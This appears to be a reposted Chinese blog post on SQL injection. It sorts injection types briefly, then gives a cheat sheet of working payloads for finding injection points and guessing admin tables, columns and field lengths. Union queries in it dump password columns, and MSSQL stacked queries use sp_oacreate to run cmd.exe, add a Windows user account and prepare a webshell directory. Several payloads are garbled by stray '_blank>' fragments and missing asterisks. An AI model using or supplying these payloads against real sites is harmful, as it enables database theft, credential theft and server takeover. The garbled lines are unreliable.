SQL注入语句

Posted 凌云网络安全攻防

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入语句相关的知识,希望对你有一定的参考价值。

sql注入,简单地说就是欺骗服务器执行恶意的SQL命令;通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

一、 sql注入类型

1、按照注入点类型来分类

(1)数字型注入点

许多网页链接有类似的结构  http://xxx.com/users.php?id=1  基于此种形式的注入,一般被叫做数字型注入点,缘由是其注入点 id 类型为数字,在大多数的网页中,诸如 查看用户个人信息,查看文章等,大都会使用这种形式的结构传递id等信息,交给后端,查询出数据库中对应的信息,返回给前台。这一类的 SQL 语句原型大概为  select * from 表名 where id=1  若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破: select * from 表名 where id=1 and 1=1

(2)字符型注入点

网页链接有类似的结构  http://xxx.com/users.php?name=admin  这种形式,其注入点 name 类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句原型大概为  select * from 表名 where name='admin'  值得注意的是这里相比于数字型注入类型的sql语句原型多了引号,可以是单引号或者是双引号。若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破: select * from 表名 where name='admin' and 1=1 '  我们需要将这些烦人的引号给处理掉。

(3)搜索型注入点

这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有  "keyword=关键字"  有的不显示在的链接地址里面,而是直接通过搜索框表单提交。此类注入点提交的 SQL 语句,其原形大致为: select * from 表名 where 字段 like '%关键字%'  若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破: select * from 表名 where 字段 like '%测试%' and '%1%'='%1%'

 2、 SQL注入按照数据提交的方式可分为:

   (1)GET 注入:提交数据的方式是 GET , 注入点的位置在 GET 参数部分。比如有这样的一个链接http://xxx.com/news.php?id=1 , id 是注入点。

(2)POST 注入:使用 POST 方式提交数据,注入点位置在 POST 数据部分,常发生在表单中。

(3)Cookie 注入:HTTP 请求的时候会带上客户端的 Cookie, 注入点存在 Cookie 当中的某个字段中。

(4)HTTP 头部注入:注入点在 HTTP 请求头部的某个字段中。比如存在 User-Agent 字段中。严格讲的话,Cookie 其实应该也是算头部注入的一种形式。因为在 HTTP 请求的时候,Cookie 是头部的一个字段。

  了解了可能存在SQL注入的位置,然后我们需要判断在这些位置上是否能够触发SQL注入,最简单的方式就是在相应位置输入and 1=1 (以及and 1=1 的变换形式)来判断。对于不同的注入点类型,比如字符型需要适当添加单引号,而对于数字型的注入点则不需要。

3. SQL注入的高级分类(按照执行效果分类)

(1)基于布尔的盲注:即可以根据返回页面判断条件真假的注入。

(2)基于时间的盲注:即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。

(3)基于报错注入:即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。

(4)联合查询注入:可以使用union的情况下的注入。

(5)堆查询注入:可以同时执行多条语句的注入。

(6)宽字节注入:利用gbk是多字节的编码,两个字节代表一个汉字


常用SQL注入语句:

1.判断有无注入点
and 1=1;
and 1=2;
2.初步判断是否是mysql ;
and user>0

3.判断数据库系统
;and (select count() from sysobjects)>0 mysql ;
and (select count() from msysobjects)>0 access

4.注入参数是字符
‘and [查询条件] and ‘’=’

5.搜索时没过滤参数的
‘and [查询条件] and ‘%25’=’

6.猜数据库
;and (select Count(*) from [数据库名])>0

7.猜表一般的表的名称无非是admin adminuser user pass password 等…
and 0<>(select count(*) from )
and 0<>(select count() from admin) —判断是否存在admin这张表

8.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个
and 0<(select count() from admin)
and 1<(select count() from admin)

9.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.
and 1=(select count() from admin where len()>0)–
and 1=(select count() from admin where len(用户字段名称name)>0)
and 1=(select count() from admin where len(_blank>密码字段名称password)>0)

10.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止
and 1=(select count() from admin where len()>0)
and 1=(select count() from admin where len(name)>6) 错误
and 1=(select count() from admin where len(name)>5) 正确 长度是6
and 1=(select count(*) from admin where len(name)=6) 正确

and 1=(select count() from admin where len(password)>11) 正确
and 1=(select count() from admin where len(password)>12) 错误 长度是12
and 1=(select count(*) from admin where len(password)=12) 正确

反向PING自己实验
;use master;declare @s int;exec sp_blank>_oacreate “wscript.shell”,@s out;exec sp_blank>_oamethod @s,“run”,NULL,“cmd.exe /c ping 192.168.0.1”;–

加帐号
;DECLARE @shell INT EXEC SP_blank>_OACreate wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add–

创建一个虚拟目录E盘:
;declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w “默认Web站点” -v “e”,“e:”–

访问属性:(配合写入一个webshell)
declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse

爆库 特殊_blank>技巧::%5c=\ 或者把/和\ 修改%5提交
and 0<>(select top 1 paths from newtable)–

得到库名(从1到5都是系统的id,6以上才可以判断)
and 1=(select name from master.dbo.sysdatabases where dbid=7)–
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9… 得到更多的_blank>数据库名

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一个表 假设为 admin
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 来得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin
and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_blank>_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
(id,…)) 来暴出其他的字段
and 0<(select user_blank>_id from BBS.dbo.admin where username>1) 可以得到用户名
依次可以得到_blank>密码。。。。。假设存在 user_blank>_id username ,password 等字段

and 0<>(select count() from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address))
and 0<>(select count() from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id))) 判断id值
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段

?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin

联合注入

?id=1' order by 4--+?id=0' union select 1,2,3,database()--+?id=0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+?id=0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name="users" --+#group_concat(column_name) 可替换为 unhex(Hex(cast(column_name+as+char)))column_name
?id=0' union select 1,2,3,group_concat(password) from users --+#group_concat 可替换为 concat_ws(',',id,users,password )
?id=0' union select 1,2,3,password from users limit 0,1--+ere username not in (select top 3 username from users)),null--



以上是关于SQL注入语句的主要内容,如果未能解决你的问题,请参考以下文章

以下代码片段是不是容易受到 Rails 5 中 SQL 注入的影响?

MyBatis怎么防止SQL注入

mybatis以及预编译如何防止SQL注入

安全测试 web安全测试 常规安全漏洞 可能存在SQL和JS注入漏洞场景分析。为什么自己没有找到漏洞,哪么可能存在漏洞场景是?SQL注入漏洞修复 JS注入漏洞修复 漏洞存在场景分析和修复示例(代码片段

mybatis模糊查询防止SQL注入

手机只需发条消息即可开始大规模SQL注入攻击